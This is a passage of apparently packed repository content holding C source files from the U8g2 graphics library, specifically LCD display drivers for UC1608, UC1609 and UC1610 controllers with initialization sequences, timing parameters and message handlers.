*/\n  U8X8_C(0x0e8),            \t\t\t/* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */\n  \n  U8X8_C(0x02f),            \t\t\t/* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x040),            \t\t\t/* set display start line to 0 */\n  U8X8_C(0x090),            \t\t\t/* no fixed lines */\n  U8X8_C(0x089),            \t\t\t/* RAM access control */\n  \n  U8X8_CA(0x081, 0x014),\t\t/* set contrast, ERC24064-1 default: 0x040 */\n  \n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x0b0),\t\t                /* page adr  */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1608_erc24064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_240x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_erc24064_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* experimental implementation for the uc1608 240x128, not referenced in codebuild */\n\nstatic const u8x8_display_info_t u8x8_uc1608_240x128_display_info =\n{\n  /* chip_enable_level = */ 1,\t/* uc1608 has high active CS */\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1608 datasheet, page 39, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* uc1608 datasheet, page 39 */\n  /* reset_pulse_width_ms = */ 1, \t/* uc1608 datasheet, page 42 */\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t/* uc1608 datasheet, page 41 */\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1608 datasheet, page 39 */\n  /* write_pulse_width_ns = */ 35,\t/* uc1608 datasheet, page 39 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\t/* reused as y page offset */\n  /* flipmode_x_offset = */ 0,\t/* reused as y page offset */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\nstatic const uint8_t u8x8_d_uc1608_240x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_DLY(200),\n\n  //U8X8_C(0x023),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n  U8X8_C(0x026),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n\n  U8X8_C(0x0c8),            \t\t\t/* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */\n  U8X8_C(0x0ea),            \t\t\t/* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */\n\t\t\t\t\t\t\t/* maybe 0x0eb??? */\n  \n  U8X8_C(0x02f),            \t\t\t/* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x040),            \t\t\t/* set display start line to 0 */\n  U8X8_C(0x090),            \t\t\t/* no fixed lines */\n  U8X8_C(0x089),            \t\t\t/* RAM access control */\n  \n  U8X8_CA(0x081, 0x072),\t\t/* set contrast  */\n  \n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x0b0),\t\t                /* page adr  */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1608_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_240x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_240x128_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* experimental implementation for the uc1608 erc240x120 */\n\nstatic const u8x8_display_info_t u8x8_uc1608_erc240120_display_info =\n{\n  /* chip_enable_level = */ 1,\t/* uc1608 has high active CS */\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1608 datasheet, page 39, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* uc1608 datasheet, page 39 */\n  /* reset_pulse_width_ms = */ 1, \t/* uc1608 datasheet, page 42 */\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t/* uc1608 datasheet, page 41 */\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1608 datasheet, page 39 */\n  /* write_pulse_width_ns = */ 35,\t/* uc1608 datasheet, page 39 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 15,\n  /* default_x_offset = */ 1,\t/* reused as y page offset */\n  /* flipmode_x_offset = */ 0,\t/* reused as y page offset */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 120\n};\n\n/* http://www.buydisplay.com/download/democode/ERC240120-1_DemoCode.txt */\nstatic const uint8_t u8x8_d_uc1608_erc240120_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_DLY(200),\n\n  //U8X8_C(0x023),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n  U8X8_C(0x026),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n\n  U8X8_C(0x0c8),            \t\t\t/* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */\n  U8X8_C(0x0ea),            \t\t\t/* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */\n\t\t\t\t\t\t\t/* according to DemoCode.txt */\n  \n  U8X8_C(0x02f),            \t\t\t/* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x040),            \t\t\t/* set display start line to 0 */\n  U8X8_C(0x090),            \t\t\t/* no fixed lines */\n  U8X8_C(0x089),            \t\t\t/* RAM access control */\n  \n  //U8X8_CA(0x081, 46),\t\t\t/* set contrast, 46 according to  DemoCode.txt */\n  U8X8_CA(0x081, 80),\t\t\t/* */\n  \n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x0b0),\t\t                /* page adr  */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1608_erc240120(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_erc240120_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_erc240120_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* DEM 240064, issue 1164 */\n\n\nstatic const u8x8_display_info_t u8x8_uc1608_dem240064_display_info =\n{\n  /* chip_enable_level = */ 1,\t/* uc1608 has high active CS */\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1608 datasheet, page 39, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* uc1608 datasheet, page 39 */\n  /* reset_pulse_width_ms = */ 1, \t/* uc1608 datasheet, page 42 */\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t/* uc1608 datasheet, page 41 */\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1608 datasheet, page 39 */\n  /* write_pulse_width_ns = */ 35,\t/* uc1608 datasheet, page 39 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 1,\t/* reused as y page offset */\n  /* flipmode_x_offset = */ 0,\t/* reused as y page offset */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 64\n};\n\n/* http://www.buydisplay.com/download/democode/ERC240120-1_DemoCode.txt */\nstatic const uint8_t u8x8_d_uc1608_dem240064_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_DLY(200),\n\n  //U8X8_C(0x023),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n  U8X8_C(0x026),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n\n  U8X8_C(0x0c8),            \t\t\t/* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */\n  U8X8_C(0x0ea),            \t\t\t/* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */\n\t\t\t\t\t\t\t/* according to DemoCode.txt */\n  \n  U8X8_C(0x02f),            \t\t\t/* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x07f),            \t\t\t/* set display start line*/\n  U8X8_C(0x094),            \t\t\t/* fixed lines */\n  U8X8_C(0x089),            \t\t\t/* RAM access control */\n  \n  U8X8_CA(0x081, 160),\t\t\t/* issue 1164 */\n  \n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x0b0),\t\t                /* page adr  */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1608_dem240064_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c8),            \t\t\t/* LCD Mapping */\n  U8X8_C(0x07f),            \t\t\t/* set display start line*/\n  U8X8_C(0x094),            \t\t\t/* fixed lines */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1608_dem240064_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c4),            \t\t\t/* LCD Mapping */\n  U8X8_C(0x040),            \t\t\t/* set display start line*/\n  U8X8_C(0x090),            \t\t\t/* fixed lines */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_uc1608_dem240064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  \n  /* checking for the flip mode cmd first */\n  if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_dem240064_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_dem240064_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      return 1;\n  }\n  /* call the common procedure, this now leads to the effect, that the flip code is executed again */\n  /* maybe we should paste the common code here to avoid this */\n  \n  \n  if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_dem240064_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_dem240064_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1609.c",
    "content": "/*\n\n  u8x8_d_uc1609.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  https://github.com/olikraus/u8g2/issues/1565\n\n  cad001\n  \n  \n*/\n#include \"u8x8.h\"\n\n\nstatic const uint8_t u8x8_d_uc1609_19264_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x0f1, 63),\t\t/* set COM end (display height-1) */\n  U8X8_C(0x0c0),            \t\t\t/* SEG & COM normal */\n  U8X8_C(0x040),            \t\t\t/* set scroll line to zero */\n  U8X8_C(0x02e),            \t\t\t/* chare pump */\n  U8X8_C(0x0eb),            \t\t\t/* set bias 1/2 */  \n  U8X8_CA(0x081, 0x08f),            \t/* set contrast */\n  \n  /*\n    AC0:\t0: stop at boundary, 1: increment by one\n    AC1: \t0: first column then page, 1: first page, then column increment\n    AC2:\t0: increment page adr, 1: decrement page adr.\n  */\n  U8X8_C(0x088),            \t\t\t/* set auto increment, low bits are AC2 AC1 AC0 */\n  U8X8_C(0x0a1),            \t\t\t/* frame rate 95Hz */\n  \n  \n  /*\n    LC0:\t0\n    MX:\tMirror X\n    MY:\tMirror Y\n  */  \n  U8X8_C(0x0c4),            \t\t\t/* low bits are MY, MX, LC0 */\n  \n  U8X8_C(0x0a6),            \t\t\t/* set normal pixel mode (not inverse) */\n  U8X8_C(0x0a4),            \t\t\t/* set normal pixel mode (not all on) */\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1609_19264_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on, UC1609 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1609_19264_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off,  UC1609 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1609_19264_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  /*\n    LC0:\t0\n    MX:\tMirror X\n    MY:\tMirror Y\n  */  \n  U8X8_C(0x0c4),            \t\t\t/* low bits are MY, MX, LC0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1609_19264_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  /*\n    LC0:\t0\n    MX:\tMirror X\n    MY:\tMirror Y\n  */  \n  U8X8_C(0x0c2),            \t\t\t/* low bits are MY, MX, LC0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_uc1609_19264_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 15,\n  /* pre_chip_disable_wait_ns = */ 15,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 30,\t\n  /* sck_pulse_width_ns = */ 63,\t/* half of cycle time (125ns cycle time according to datasheet) --> 8MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 24,\t\t\n  /* tile_height = */ 8,\t\t\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 64\n};\n\n\nuint8_t u8x8_d_uc1609_slg19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c, page;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1609_19264_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1609_19264_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1610 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n    \n      page = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | page);\n\n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n        u8x8_cad_SendData(u8x8, c*8, ptr);\n\targ_int--;\n      } while( arg_int > 0 );\n      u8x8_cad_EndTransfer(u8x8);\n      \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1610.c",
    "content": "/*\n\n  u8x8_d_uc1610.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n  cad001\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_uc1610_dogxl160_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x0f1, 0x067),\t\t/* set COM end (display height-1) */\n  U8X8_C(0x0c0),            \t\t\t/* SEG & COM normal */\n  U8X8_C(0x040),            \t\t\t/* set scroll line lsb to zero */\n  U8X8_C(0x050),            \t\t\t/* set scroll line msb to zero */\n  U8X8_C(0x02b),            \t\t\t/* set panelloading */\n  U8X8_C(0x0eb),            \t\t\t/* set bias 1/2 */  \n  U8X8_CA(0x081, 0x05f),            \t/* set contrast */\n  \n  /*\n    AC0:\t0: stop at boundary, 1: increment by one\n    AC1: \t0: first column then page, 1: first page, then column increment\n    AC2:\t0: increment page adr, 1: decrement page adr.\n  */\n  U8X8_C(0x08b),            \t\t\t/* set auto increment, low bits are AC2 AC1 AC0 */\n  \n  /*\n    LC0:\t0\n    MX:\tMirror X\n    MY:\tMirror Y\n  */  \n  U8X8_C(0x0c0),            \t\t\t/* low bits are MY, MX, LC0 */\n  \n  U8X8_C(0x0f8),            \t\t\t// window mode off\n  U8X8_C(0x010),\t\t                // col high\n  U8X8_C(0x000),\t\t                // col low\n  U8X8_C(0x0b0),\t\t                // page\n  \n  U8X8_C(0x0a6),            \t\t\t/* set normal pixel mode (not inverse) */\n  U8X8_C(0x0a4),            \t\t\t/* set normal pixel mode (not all on) */\n\n  /* test code \n  U8X8_C(0x0af),\t\t                // display on \n  U8X8_C(0x0f8),            \t\t\t// window mode off\n  U8X8_CA(0x0f4, 0),\t\t\t// set window\n  U8X8_CA(0x0f5, 0),\n  U8X8_CA(0x0f6, 4),\n  U8X8_CA(0x0f7, 1),\n  U8X8_C(0x0f9),            \t\t\t// window mode on\n  U8X8_D1(0x03),\n  U8X8_D1(0x0c0),\n  U8X8_D1(0x0ff),\n  U8X8_D1(0x0ff),\n  U8X8_D1(0x0ff),\n  U8X8_D1(0x0ff),\n  U8X8_D1(0x0ff),\n  U8X8_D1(0x0ff),\n  */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1610_dogxl160_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on, UC1610 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1610_dogxl160_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off,  UC1610 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1610_dogxl160_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  /*\n    LC0:\t0\n    MX:\tMirror X\n    MY:\tMirror Y\n  */  \n  U8X8_C(0x0c0),            \t\t\t/* low bits are MY, MX, LC0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1610_dogxl160_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  /*\n    LC0:\t0\n    MX:\tMirror X\n    MY:\tMirror Y\n  */  \n  U8X8_C(0x0c6),            \t\t\t/* low bits are MY, MX, LC0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/* \n  UC1610 has two chip select inputs (CS0 and CS1).\n  CS0 is low active, CS1 is high active. It will depend on the display\n  module whether the display has a is low or high active chip select.\n*/\n\nstatic const u8x8_display_info_t u8x8_uc1610_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 15,\n  /* pre_chip_disable_wait_ns = */ 15,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 30,\t\n  /* sck_pulse_width_ns = */ 63,\t/* half of cycle time (125ns cycle time according to datasheet) --> 8MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 20,\t\t\n  /* tile_height = */ 13,\t\t/* height of 13*8=104 pixel */\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 104\n};\n\n\n/*\n  RAM Organization:\n  D0  Pix0\n  D1\n  D2  Pix1\n  D3\n  D4  Pix2\n  D5\n 